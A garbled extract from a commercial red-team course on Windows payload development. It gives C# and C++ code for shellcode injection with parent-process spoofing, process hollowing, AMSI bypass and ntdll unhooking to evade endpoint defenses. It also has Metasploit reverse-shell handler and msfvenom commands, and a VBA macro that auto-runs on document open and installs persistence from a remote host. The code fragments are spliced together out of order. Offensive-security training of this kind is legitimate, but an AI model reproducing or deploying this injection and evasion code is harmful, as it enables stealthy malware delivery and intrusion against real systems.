• 242-243: Change memory permissions to PAGE_EXECUTE_READ
• 245: Create a remote thread in the target process executing the injected shellcode.
PTXv2: Section 4, Module 1 - Caendra Inc. © 2020 | p.217
1.11 Custom Payload Development
After adding the downloader function. The
Main function will perform the following
actions:
• L265-266:Hide the process windows.
• L267: Get the PID from Explorer process
• L268-269: Define the process to be
started with the spoofed PPID and
Shellcode URL
• L270: Download the encrypted shellcode
into a byte array
• L271-273: Decrypt the shellcode
• L276: Call the SpoofParent function to
spoof the PPID from the running explorer
instance
• L278: Injects the shellcode into the
process started with the spoofed parent
id.
PTXv2: Section 4, Module 1 - Caendra Inc. © 2020 | p.218
1.11 Custom Payload Development
using System;
using System.IO;
using System.Net;
using System.Text;
using System.Security.Cryptography.X509Certificates;
using System.Security.Cryptography;
using System.Runtime.InteropServices;
using System.Diagnostics;
using System.Collections.Generic;
// https://docs.microsoft.com/en-us/windows/win32/api/processthreadsapi/ns-processthreadsapi-startupinfoa
[StructLayout(LayoutKind.Sequential, CharSet = CharSet.Unicode)]
public struct STARTUPINFO
{
public Int32 cb;
public string lpReserved;
public string lpDesktop;
public string lpTitle;
public Int32 dwX;
public Int32 dwY;
public Int32 dwXSize;
public Int32 dwYSize;
public Int32 dwXCountChars;
public Int32 dwYCountChars;
public Int32 dwFillAttribute;
public Int32 dwFlags;
public Int16 wShowWindow;
public Int16 cbReserved2;
public IntPtr lpReserved2;
public IntPtr hStdInput;
public IntPtr hStdOutput;
public IntPtr hStdError;
}
// https://docs.microsoft.com/en-us/windows/win32/api/processthreadsapi/ns-processthreadsapi-
process_information
[StructLayout(LayoutKind.Sequential)]
public struct PROCESS_INFORMATION
{
public IntPtr hProcess;
public IntPtr hThread;
public int dwProcessId;
public int dwThreadId;
}
// https://docs.microsoft.com/en-us/previous-versions/windows/desktop/legacy/aa379560(v%3Dvs.85)
[StructLayout(LayoutKind.Sequential)]
public struct SECURITY_ATTRIBUTES
{
public int nLength;
public IntPtr lpSecurityDescriptor;
[MarshalAs(UnmanagedType.Bool)]
public bool bInheritHandle;
}
// https://docs.microsoft.com/en-gb/windows/win32/procthread/process-security-and-access-rights
[Flags]
public enum ProcessAccessFlags : uint
{
All = 0x001F0FFF,
Terminate = 0x00000001,
CreateThread = 0x00000002,
VirtualMemoryOperation = 0x00000008,
VirtualMemoryRead = 0x00000010,
VirtualMemoryWrite = 0x00000020,
DuplicateHandle = 0x00000040,
CreateProcess = 0x000000080,
SetQuota = 0x00000100,
SetInformation = 0x00000200,
QueryInformation = 0x00000400,
QueryLimitedInformation = 0x00001000,
Synchronize = 0x00100000
}
// https://docs.microsoft.com/en-us/windows/win32/api/processthreadsapi/nf-processthreadsapi-createprocessa
[DllImport("kernel32")]
[return: MarshalAs(UnmanagedType.Bool)]
public static extern bool CreateProcess(string lpApplicationName, string lpCommandLine,
ref SECURITY_ATTRIBUTES lpProcessAttributes, ref SECURITY_ATTRIBUTES lpThreadAttributes,
bool bInheritHandles, uint dwCreationFlags, IntPtr lpEnvironment, string lpCurrentDirectory,
[In] ref STARTUPINFOEX lpStartupInfo, out PROCESS_INFORMATION lpProcessInformation);
// https://docs.microsoft.com/en-us/windows/win32/api/processthreadsapi/nf-processthreadsapi-openprocess
[DllImport("kernel32", SetLastError = true)]
public static extern IntPtr OpenProcess(ProcessAccessFlags processAccess, bool bInheritHandle, int
processId);
// https://docs.microsoft.com/en-us/windows/win32/api/processthreadsapi/nf-processthreadsapi-
updateprocthreadattribute
[DllImport("kernel32", SetLastError = true)]
[return: MarshalAs(UnmanagedType.Bool)]
public static extern bool UpdateProcThreadAttribute(IntPtr lpAttributeList, uint dwFlags, IntPtr Attribute,
IntPtr lpValue, IntPtr cbSize, IntPtr lpPreviousValue, IntPtr lpReturnSize);
// https://docs.microsoft.com/en-us/windows/win32/api/processthreadsapi/nf-processthreadsapi-
initializeprocthreadattributelist
[DllImport("kernel32", SetLastError = true)]
[return: MarshalAs(UnmanagedType.Bool)]
public static extern bool InitializeProcThreadAttributeList(IntPtr lpAttributeList, int dwAttributeCount,
int dwFlags, ref IntPtr lpSize);
// https://docs.microsoft.com/en-us/windows/win32/api/processthreadsapi/nf-processthreadsapi-openprocess
[DllImport("kernel32")]
public static extern IntPtr OpenProcess(int dwDesiredAccess, bool bInheritHandle, int dwProcessId);
// https://docs.microsoft.com/en-us/windows/win32/api/memoryapi/nf-memoryapi-virtualallocex
[DllImport("kernel32")]
public static extern IntPtr VirtualAllocEx(IntPtr hProcess, IntPtr lpAddress,
Int32 dwSize, UInt32 flAllocationType, UInt32 flProtect);
// https://docs.microsoft.com/en-us/windows/win32/api/memoryapi/nf-memoryapi-virtualprotect
[DllImport("kernel32.dll")]
public static extern bool VirtualProtectEx(IntPtr hProcess, IntPtr lpAddress,
UIntPtr dwSize, uint flNewProtect, out uint lpflOldProtect);
// https://docs.microsoft.com/en-us/windows/win32/api/memoryapi/nf-memoryapi-writeprocessmemory
[DllImport("kernel32")]
public static extern bool WriteProcessMemory(IntPtr hProcess, IntPtr lpBaseAddress, byte[] buffer,
IntPtr dwSize, int lpNumberOfBytesWritten);
// https://docs.microsoft.com/en-gb/windows/win32/procthread/process-security-and-access-rights
public static int PROCESS_CREATE_THREAD = 0x0002;
public static int PROCESS_QUERY_INFORMATION = 0x0400;
public static int PROCESS_VM_OPERATION = 0x0008;
public static int PROCESS_VM_WRITE = 0x0020;
public static int PROCESS_VM_READ = 0x0010;
// https://docs.microsoft.com/en-us/windows/win32/api/memoryapi/nf-memoryapi-virtualallocex
public static UInt32 MEM_COMMIT = 0x1000;
public static UInt32 PAGE_EXECUTE_READWRITE = 0x40;
public static UInt32 PAGE_EXECUTE_READ = 0x20;
public static UInt32 PAGE_READWRITE = 0x04;
// https://docs.microsoft.com/en-us/windows/console/getconsolewindow
[DllImport("kernel32")]
public static extern IntPtr GetConsoleWindow();
// https://docs.microsoft.com/en-us/windows/win32/api/winuser/nf-winuser-showwindow
[DllImport("user32")]
public static extern bool ShowWindow(IntPtr hWnd, int nCmdShow);
// Variables
public static int SW_HIDE = 0;
}
decryptedBytes = ms.ToArray();
}
}
return decryptedBytes;
}
}
public class Program
{
public static int GetPid (string procName)
{
// Find Process ID by its name
int remoteProcId = 0;
Process[] procs = Process.GetProcesses();
foreach (Process proc in procs)
{
if (proc.ProcessName == procName)
{
remoteProcId = proc.Id;
break;
}
}
return remoteProcId;
}
// Initializes the specified list of attributes for process and thread creation
Win32.InitializeProcThreadAttributeList(IntPtr.Zero, 1, 0, ref lpSize);
// Allocates memory from the unmanaged memory of the process.
siEx.lpAttributeList = Marshal.AllocHGlobal(lpSize);
// Initializes the specified list of attributes for process and thread creation
Win32.InitializeProcThreadAttributeList(siEx.lpAttributeList, 1, 0, ref lpSize);
// Opens the parent process with CreateProcess and DuplicateHandle permissions
IntPtr parentHandle = Win32.OpenProcess(Win32.ProcessAccessFlags.CreateProcess |
Win32.ProcessAccessFlags.DuplicateHandle,
false, parentProcessId);
// Allocates memory from the unmanaged memory of the process.
lpValueProc = Marshal.AllocHGlobal(IntPtr.Size);
// Writes the parentHandle address into lpValueProc
Marshal.WriteIntPtr(lpValueProc, parentHandle);
// Updates the StartUpInfo lpAttributeList PROC_THREAD_ATTRIBUTE_PARENT_PROCESS
// with the value of the Parent Process to spoof (lpValueProc)
Win32.UpdateProcThreadAttribute(siEx.lpAttributeList, 0,
(IntPtr)PROC_THREAD_ATTRIBUTE_PARENT_PROCESS, lpValueProc,
(IntPtr)IntPtr.Size, IntPtr.Zero, IntPtr.Zero);
// StartupInformation flags
siEx.StartupInfo.dwFlags = STARTF_USESHOWWINDOW | STARTF_USESTDHANDLES;
siEx.StartupInfo.wShowWindow = SW_HIDE;
// Create new Process and Thread security Attributes
var ps = new Win32.SECURITY_ATTRIBUTES();
var ts = new Win32.SECURITY_ATTRIBUTES();
ps.nLength = Marshal.SizeOf(ps);
ts.nLength = Marshal.SizeOf(ts);
// Creates the process with modified STARTINFO
bool ret = Win32.CreateProcess(binaryPath, null, ref ps, ref ts, true,
EXTENDED_STARTUPINFO_PRESENT | CREATE_NO_WINDOW,
IntPtr.Zero, null, ref siEx, out pInfo);
if (!ret) { return 0; }
return pInfo.dwProcessId;
}
In this case the process hollowing code will be reused adding an AMSI
bypass. The following functions need to be added to the Win32 class:
• GetProcAddress L118-119: To get a handle of the current process.
• LoadLibrary L122: For loading the amsi.dll library
• FreeLibrary L125: Free the amsi.dll library.
Go to Slide 340 to check out the full links. PTXv2: Section 4, Module 1 - Caendra Inc. © 2020 | p.244
1.11 Custom Payload Development
Instead of downloading the shellcode, the encrypted version will be stored into a byte array, remember
that 2_aes_encryption.exe developed before prints the shellcode into screen.
For testing purposes the process window will not be hidden and there are 2 Console.ReadKey calls
(L297, L310) to stop the program and observe how it works.
REALTIME_PRIORITY_CLASS = 0x00000100,
CREATE_NEW_PROCESS_GROUP = 0x00000200,
CREATE_UNICODE_ENVIRONMENT = 0x00000400,
CREATE_SEPARATE_WOW_VDM = 0x00000800,
CREATE_SHARED_WOW_VDM = 0x00001000,
CREATE_FORCEDOS = 0x00002000,
BELOW_NORMAL_PRIORITY_CLASS = 0x00004000,
ABOVE_NORMAL_PRIORITY_CLASS = 0x00008000,
INHERIT_PARENT_AFFINITY = 0x00010000,
INHERIT_CALLER_PRIORITY = 0x00020000,
CREATE_PROTECTED_PROCESS = 0x00040000,
EXTENDED_STARTUPINFO_PRESENT = 0x00080000,
PROCESS_MODE_BACKGROUND_BEGIN = 0x00100000,
PROCESS_MODE_BACKGROUND_END = 0x00200000,
CREATE_BREAKAWAY_FROM_JOB = 0x01000000,
CREATE_PRESERVE_CODE_AUTHZ_LEVEL = 0x02000000,
CREATE_DEFAULT_ERROR_MODE = 0x04000000,
CREATE_NO_WINDOW = 0x08000000,
PROFILE_USER = 0x10000000,
PROFILE_KERNEL = 0x20000000,
PROFILE_SERVER = 0x40000000,
CREATE_IGNORE_SYSTEM_DEFAULT = 0x80000000,
}
// https://docs.microsoft.com/en-us/windows/win32/api/processthreadsapi/nf-processthreadsapi-createprocessa
[DllImport("kernel32")]
public static extern IntPtr CreateProcessA(String lpApplicationName, String lpCommandLine,
SecurityAttributes lpProcessAttributes, SecurityAttributes lpThreadAttributes,
Boolean bInheritHandles, CreateProcessFlags dwCreationFlags, IntPtr lpEnvironment,
String lpCurrentDirectory, [In] StartupInfo lpStartupInfo,
out ProcessInformation lpProcessInformation);
// https://docs.microsoft.com/en-us/windows/win32/api/memoryapi/nf-memoryapi-virtualallocex
[DllImport("kernel32")]
public static extern IntPtr VirtualAllocEx(IntPtr hProcess, IntPtr lpAddress, Int32 dwSize,
UInt32 flAllocationType, UInt32 flProtect);
// https://docs.microsoft.com/en-us/windows/win32/api/memoryapi/nf-memoryapi-virtualprotect
[DllImport("kernel32.dll")]
public static extern bool VirtualProtectEx(IntPtr hProcess, IntPtr lpAddress,
UIntPtr dwSize, uint flNewProtect, out uint lpflOldProtect);
// https://docs.microsoft.com/en-us/windows/win32/api/memoryapi/nf-memoryapi-writeprocessmemory
[DllImport("kernel32")]
public static extern bool WriteProcessMemory(IntPtr hProcess, IntPtr lpBaseAddress,
byte[] buffer, IntPtr dwSize, int lpNumberOfBytesWritten);
// https://docs.microsoft.com/en-us/windows/win32/api/memoryapi/nf-memoryapi-virtualprotect
[DllImport("kernel32")]
public static extern bool VirtualProtect(IntPtr lpAddress, UIntPtr dwSize, uint flNewProtect, out uint lpflOldProtect);
// https://docs.microsoft.com/en-us/windows/win32/api/processthreadsapi/nf-processthreadsapi-createremotethread
[DllImport("kernel32")]
public static extern IntPtr CreateRemoteThread(IntPtr hProcess, IntPtr lpThreadAttributes,
uint dwStackSize, IntPtr lpStartAddress, IntPtr lpParameter, uint dwCreationFlags,
IntPtr lpThreadId);
// https://docs.microsoft.com/en-us/windows/win32/api/libloaderapi/nf-libloaderapi-getprocaddress
[DllImport("kernel32")]
public static extern IntPtr GetProcAddress(IntPtr hModule, string procName);
[DllImport("kernel32")]
// https://docs.microsoft.com/en-us/windows/win32/api/libloaderapi/nf-libloaderapi-loadlibrarya
public static extern IntPtr LoadLibrary(string name);
[DllImport("kernel32")]
// https://docs.microsoft.com/en-us/windows/win32/api/libloaderapi/nf-libloaderapi-freelibrary
public static extern bool FreeLibrary(IntPtr hModule);
// https://docs.microsoft.com/en-us/windows/console/getconsolewindow
[DllImport("kernel32")]
public static extern IntPtr GetConsoleWindow();
// https://docs.microsoft.com/en-us/windows/win32/api/winuser/nf-winuser-showwindow
[DllImport("user32")]
public static extern bool ShowWindow(IntPtr hWnd, int nCmdShow);
// https://docs.microsoft.com/en-gb/windows/win32/procthread/process-security-and-access-rights
public static int PROCESS_CREATE_THREAD = 0x0002;
public static int PROCESS_QUERY_INFORMATION = 0x0400;
public static int PROCESS_VM_OPERATION = 0x0008;
public static int PROCESS_VM_WRITE = 0x0020;
public static int PROCESS_VM_READ = 0x0010;
// https://docs.microsoft.com/en-us/windows/win32/api/memoryapi/nf-memoryapi-virtualallocex
public static UInt32 MEM_COMMIT = 0x1000;
public static UInt32 PAGE_EXECUTE_READWRITE = 0x40;
public static UInt32 PAGE_EXECUTE_READ = 0x20;
public static UInt32 PAGE_READWRITE = 0x04;
public static int SW_HIDE = 0;
}
public class Encrypt
{
public static byte[] AES_Decrypt(byte[] bytesToBeDecrypted, byte[] passwordBytes)
{
byte[] decryptedBytes = null;
byte[] saltBytes = new byte[] { 1, 2, 3, 4, 5, 6, 7, 8 };
using (MemoryStream ms = new MemoryStream())
{
using (RijndaelManaged AES = new RijndaelManaged())
{
AES.KeySize = 256;
AES.BlockSize = 128;
sc = Encrypt.AES_Decrypt(sc, password);
Console.WriteLine("[+] Decrypted shellcode size: {0}", sc.Length);
// Target Binary
string targetBinaryPath = @"C:\\Windows\\System32\\userinit.exe";
// Process Hollowing
Hollow(targetBinaryPath, sc);
Console.ReadKey();
}
}
To obfuscate a .NET
assembly, open Visual Studio
and click on Tools >
PreEmptive Protection –
Dotfuscator.
https://thewover.github.io/Dynamic-Invoke/
https://cobbr.io/SharpGen.html PTXv2: Section 4, Module 1 - Caendra Inc. © 2020 | p.267
1.12
Removing User-
Mode Hooks
API Unhooking
Removing user-mode hooks can be done by mimicking the
Windows loader to load a replica of each DLLs and EXEs
from the hard drive and comparing them to the image
currently present in memory to see if functions have been
modified.
Open
ReflectiveDLLRefresher.sln
and if needed, right click
into the solution and press
over "retarget solution" to
upgrade it to the installed
Visual C++ platform toolset.
DLLRefresher
DllRefresher is a standalone binary that can be used for scanning the
process's memory space and unhooking the currently loaded libraries.
PTXv2: Section 4, Module 1 - Caendra Inc. © 2020 | p.277
1.12 Removing User-Mode Hooks
Inject
Inject will reflectively load the ReflectiveDLLRefresher.dll into a
specified process. Loading the DLL will scan the process
memory space and unhook the currently loaded libraries.
UPX
A modified UPX version has been included in ReflectiveDLLRefresher
package. This UPX version has the ability to embed a dll into the packet
binary. The resulted packed binary will unpack the target executable in
memory and call the embedded DLL before going to the original
executable entry point. This can be used in conjunction with the
ReflectiveDLLRefresher DLL and our payloads to unhook them.
ReflectiveDLLRefresher.dll can
also be used with Metasploit
Reflective dLL Injection module
to unhook remote processes by
just specifying the target's
process ID,
ReflectiveDLLRefresher path and
the session where we want to
run the module.
ReflectiveDLLRefresher to shellcode
Shellcode Reflective DLL Injection allows to convert DLL
files to position independent shellcode.
The main function will call the UnHook function, this will
remove any hook included in the process, then it will
decrypt and run the provided shellcode.
PTXv2: Section 4, Module 1 - Caendra Inc. © 2020 | p.291
1.12 Removing User-Mode Hooks
using System;
using System.IO;
using System.Net;
using System.Text;
using System.Security.Cryptography.X509Certificates;
using System.Security.Cryptography;
using System.Runtime.InteropServices;
// https://docs.microsoft.com/en-us/windows/desktop/api/synchapi/nf-synchapi-waitforsingleobject
[DllImport("kernel32")]
public static extern UInt32 WaitForSingleObject(IntPtr hHandle, UInt32 dwMilliseconds);
// https://docs.microsoft.com/en-us/windows/win32/api/memoryapi/nf-memoryapi-virtualprotect
[DllImport("kernel32")]
public static extern bool VirtualProtect(IntPtr lpAddress, UIntPtr dwSize, uint flNewProtect, out uint
lpflOldProtect);
// https://docs.microsoft.com/en-us/windows/console/getconsolewindow
[DllImport("kernel32")]
public static extern IntPtr GetConsoleWindow();
// https://docs.microsoft.com/en-us/windows/win32/api/winuser/nf-winuser-showwindow
[DllImport("user32")]
public static extern bool ShowWindow(IntPtr hWnd, int nCmdShow);
// Variables
public static UInt32 MEM_COMMIT = 0x1000;
public static UInt32 PAGE_EXECUTE_READWRITE = 0x40;
public static UInt32 PAGE_EXECUTE_READ = 0x20;
public static UInt32 PAGE_READWRITE = 0x04;
public static int SW_HIDE = 0;
}
Unhooking ntdll.dll
Ntdll.dll loaded in memory can be totally unhooked by
reading the .text section of the file from disk and replacing
the .text section of the ntdll.dll currently mapped in
memory.
The main function will wait for enter to call the unhook
function and once the ntdll.dll has been unhooked, pressing
enter again will execute the shellcode.
#include <iostream>
#include <Windows.h>
#include <winternl.h>
#include <psapi.h>
void unhook()
{
// Unhook ntdll.dll
HANDLE process = GetCurrentProcess();
MODULEINFO mi = {};
HMODULE ntdllModule = GetModuleHandleA("ntdll.dll");
if (!strcmp((char*)hookedSectionHeader->Name, (char*)".text")) {
DWORD oldProtection = 0;
bool isProtected = VirtualProtect((LPVOID)((DWORD_PTR)ntdllBase + (DWORD_PTR)hookedSectionHeader-
>VirtualAddress), hookedSectionHeader->Misc.VirtualSize, PAGE_EXECUTE_READWRITE, &oldProtection);
memcpy((LPVOID)((DWORD_PTR)ntdllBase + (DWORD_PTR)hookedSectionHeader->VirtualAddress),
(LPVOID)((DWORD_PTR)ntdllMappingAddress + (DWORD_PTR)hookedSectionHeader->VirtualAddress), hookedSectionHeader-
>Misc.VirtualSize);
isProtected = VirtualProtect((LPVOID)((DWORD_PTR)ntdllBase + (DWORD_PTR)hookedSectionHeader->VirtualAddress),
hookedSectionHeader->Misc.VirtualSize, oldProtection, &oldProtection);
}
}
CloseHandle(process);
CloseHandle(ntdllFile);
CloseHandle(ntdllMapping);
FreeLibrary(ntdllModule);
}
void executeshellcode()
{
unsigned char buf[] = <SHELLCODE>;
void* exec = VirtualAlloc(0, sizeof buf, MEM_COMMIT, PAGE_READWRITE);
memcpy(exec, buf, sizeof buf);
DWORD oldProtect;
VirtualProtect((LPVOID)exec, sizeof buf, PAGE_EXECUTE_READ, &oldProtect);
((void(*)())exec)();
}
int main()
{
std::cout << "[+] Press enter to unhook";
std::cin.get();
unhook();
std::cout << "[+] Press enter to execute shellcode";
std::cin.get();
executeshellcode();
return 0;
}
Mestasploit AutoUnhookProcess
Metasploit has an AutoUnhookProcess extension that can be
used to unhook meterpreter sessions once they connect back to
the operator's machine. Load this extension via the following.
msf5 > use exploit/multi/handler
msf5 exploit(multi/handler) > set payload windows/x64/meterpreter/reverse_tcp_rc4
msf5 exploit(multi/handler) > set LHOST=<HOST>
msf5 exploit(multi/handler) > set LPORT=<PORT>
msf5 exploit(multi/handler) > set RC4PASSWORD <PASS>
msf5 exploit(multi/handler) > set AutoUnhookProcess true
msf5 exploit(multi/handler) > set ExitOnSession false
msf5 exploit(multi/handler) >run –j
~ msfvenom –p windows/x64/meterpreter/reverse_tcp_rc4
RC4PASSWORD=wootwoot LHOST=<HOST> LPORT=<PORT> -f <FORMAT> -o
<OUTPUT_FILE>
Stealth Macro
Development
The first step is to create the GetInbox function. This function will
try to use an existing Outlook instance or create a new one in
case it is closed. Then it will return the Inbox folder as an object.
PTXv2: Section 4, Module 1 - Caendra Inc. © 2020 | p.318
1.13 Stealth Macro Development
Sub Main()
Dim MailOk As Boolean
Dim RemoteFile, TriggerWord As String
RemoteFile = "http://192.168.10.10/test"
TriggerWord = "account?"
MailOk = CheckMail(TriggerWord)
If MailOk Then
InstallPersistence (RemoteFile)
End If
End Sub
Sub Auto_Open()
Main
End Sub
Sub AutoOpen()
Main
End Sub
IAmsiStream::GetAttribute
https://docs.microsoft.com/windows/desktop/api/amsi/nf-amsi-iamsistream-getattribute
AMSI_RESULT
https://docs.microsoft.com/en-us/windows/win32/api/amsi/ne-amsi-amsi_result
AmsiInitialize
https://docs.microsoft.com/en-us/windows/desktop/api/amsi/nf-amsi-amsiinitialize
AmsiOpenSession
https://docs.microsoft.com/en-us/windows/desktop/api/amsi/nf-amsi-amsiopensession
Click HERE to return to Slide 10. PTXv2: Section 4, Module 1 - Caendra Inc. © 2020 | p.328
Click HERE to return to Slide 11.
References
AmsiOpenSession
https://docs.microsoft.com/en-us/windows/desktop/api/amsi/nf-amsi-amsiopensession
AmsiCloseSession
https://docs.microsoft.com/en-us/windows/desktop/api/amsi/nf-amsi-amsiclosesession
AmsiScanBuffer
https://docs.microsoft.com/en-us/windows/win32/api/amsi/nf-amsi-amsiscanbuffer
AmsiScanString
https://docs.microsoft.com/en-us/windows/win32/api/amsi/nf-amsi-amsiscanstring
AmsiResultIsMalware
https://docs.microsoft.com/en-us/windows/win32/api/amsi/nf-amsi-amsiresultismalware
AmsiUninitalize
https://docs.microsoft.com/en-us/windows/win32/api/amsi/nf-amsi-amsiuninitialize
Click HERE to return to Slide 11. PTXv2: Section 4, Module 1 - Caendra Inc. © 2020 | p.329
Click HERE to return to Slide 12.
References
Amsi-Bypass
https://www.contextis.com/en/blog/amsi-bypass
Ghidra
https://ghidra-sre.org/
LoadLibrary
https://docs.microsoft.com/en-us/windows/win32/api/libloaderapi/nf-libloaderapi-loadlibrarya
GetProcAddress
https://docs.microsoft.com/en-gb/windows/win32/api/libloaderapi/nf-libloaderapi-getprocaddress
VirtualProtect
https://docs.microsoft.com/en-us/windows/win32/api/memoryapi/nf-memoryapi-virtualprotect
Add-Type
https://docs.microsoft.com/en-us/powershell/module/microsoft.powershell.utility/add-
type?view=powershell-7
Click HERE to return to Slide 19.
PTXv2: Section 4, Module 1 - Caendra Inc. © 2020 | p.330
References
ASBBypass.ps1
https://github.com/rasta-mouse/AmsiScanBufferBypass/blob/master/ASBBypass.ps1
TxtWizard
http://www.txtwizard.net/encoding
AMSI Bypass
https://www.contextis.com/en/blog/amsi-bypass
AmsiScanBufferBypass
https://github.com/rasta-mouse/AmsiScanBufferBypass
BooLang
https://github.com/boo-lang/boo
Invoke-Boolang.ps1
https://github.com/byt3bl33d3r/OffensiveDLR/blob/master/Invoke-Boolang.ps1
Duck Typing
https://github.com/boo-lang/boo/wiki/Duck-Typing
RunBooAssemblyResolve.cs
https://github.com/byt3bl33d3r/OffensiveDLR/blob/master/runBooAssemblyResolve.cs
EtwEventWrite
https://docs.microsoft.com/en-us/windows/win32/devnotes/etweventwrite
sshmon
https://github.com/matterpreter/Shhmon
Using WMI
https://docs.microsoft.com/en-us/windows/win32/wmisdk/using-wmi
wmic
https://docs.microsoft.com/en-us/windows/win32/wmisdk/wmic
PywerView
https://github.com/the-useless-one/pywerview
BloodHound
https://github.com/BloodHoundAD/BloodHound
Dumpert
https://github.com/outflanknl/Dumpert
C# documentation
https://docs.microsoft.com/en-us/dotnet/csharp/
WebClient Class
https://docs.microsoft.com/en-us/dotnet/api/system.net.webclient?view=netframework-4.8
VirtualAlloc
https://docs.microsoft.com/en-us/windows/win32/api/memoryapi/nf-memoryapi-virtualalloc
VirtualProtect
https://docs.microsoft.com/en-us/windows/win32/api/memoryapi/nf-memoryapi-virtualprotect
CreateThread
https://docs.microsoft.com/en-us/windows/win32/api/processthreadsapi/nf-processthreadsapi-
createthread
WaitForSingleObject
https://docs.microsoft.com/en-us/windows/win32/api/synchapi/nf-synchapi-waitforsingleobject
CreateRemoteThread
https://docs.microsoft.com/en-us/windows/win32/api/processthreadsapi/nf-processthreadsapi-
createremotethread
OpenProcess
https://docs.microsoft.com/en-us/windows/win32/api/processthreadsapi/nf-processthreadsapi-
openprocess
VirtualAllocEx
https://docs.microsoft.com/en-us/windows/win32/api/memoryapi/nf-memoryapi-virtualallocex
WriteProcessMemory
https://docs.microsoft.com/en-us/windows/win32/api/memoryapi/nf-memoryapi-writeprocessmemory
VirtualProtectEx
https://docs.microsoft.com/en-us/windows/win32/api/memoryapi/nf-memoryapi-virtualprotect
Click on the slide number to return to: 173, 189, 209 or 210. PTXv2: Section 4, Module 1 - Caendra Inc. © 2020 | p.337
References
RunPE.cpp – Process Hollowing Example
https://gist.github.com/andreafortuna/d7fb92fb29e4ade27c0c6ce4401c99fa
CreateProcessA
https://docs.microsoft.com/en-us/windows/win32/api/processthreadsapi/nf-processthreadsapi-
createprocessa
CreateProcess
https://docs.microsoft.com/en-us/windows/win32/api/processthreadsapi/nf-processthreadsapi-
createprocessa
InitializeProcThreadAttributeList
https://docs.microsoft.com/en-us/windows/win32/api/processthreadsapi/nf-processthreadsapi-
initializeprocthreadattributelist
UpdateProcThreadAttribute
https://docs.microsoft.com/en-us/windows/win32/api/processthreadsapi/nf-processthreadsapi-
updateprocthreadattribute
Click HERE to return to Slide 189. PTXv2: Section 4, Module 1 - Caendra Inc. © 2020 | p.338
Click HERE to return to Slide 209.
References
STARTUPINFOEXA structure
https://docs.microsoft.com/en-us/windows/win32/api/winbase/ns-winbase-startupinfoexa
STARTUPINFOA structure
https://docs.microsoft.com/en-us/windows/win32/api/processthreadsapi/ns-processthreadsapi-
startupinfoa
PROCESS_INFORMATION
https://docs.microsoft.com/en-us/windows/win32/api/processthreadsapi/ns-processthreadsapi-
process_information
SECURITY_ATTRIBUTES
https://docs.microsoft.com/en-us/previous-versions/windows/desktop/legacy/aa379560(v%3Dvs.85)
donut releases
https://github.com/TheWover/donut/releases
Click HERE to return to Slide 211. PTXv2: Section 4, Module 1 - Caendra Inc. © 2020 | p.339
References
donut
https://github.com/TheWover/donut/tree/master
GetProcAddress
https://docs.microsoft.com/en-us/windows/win32/api/libloaderapi/nf-libloaderapi-getprocaddress
LoadLibraryA function
https://docs.microsoft.com/en-us/windows/win32/api/libloaderapi/nf-libloaderapi-loadlibrarya
FreeLibrary
https://docs.microsoft.com/en-us/windows/win32/api/libloaderapi/nf-libloaderapi-freelibrary
Preemptive Dotfuscator
https://www.preemptive.com/products/dotfuscator/overview
Emulating Covert Operations –Dynamic Invocation (Avoiding Pinvoke & API Hooks)
https://thewover.github.io/Dynamic-Invoke/
Click HERE to return to Slide 244. PTXv2: Section 4, Module 1 - Caendra Inc. © 2020 | p.340
References
Operational Challenges in Offensive C#
https://cobbr.io/SharpGen.html
Cylance's ReflectiveDLLRefresher
https://github.com/CylanceVulnResearch/ReflectiveDLLRefresher
git downloads
https://git-scm.com/downloads
ReflectiveDLLRefresher
https://github.com/CylanceVulnResearch/ReflectiveDLLRefresher.git
ReflectiveDLLRefresher Releases
https://github.com/CylanceVulnResearch/ReflectiveDLLRefresher/releases
Process Hollowing
https://github.com/m0n0ph1/Process-Hollowing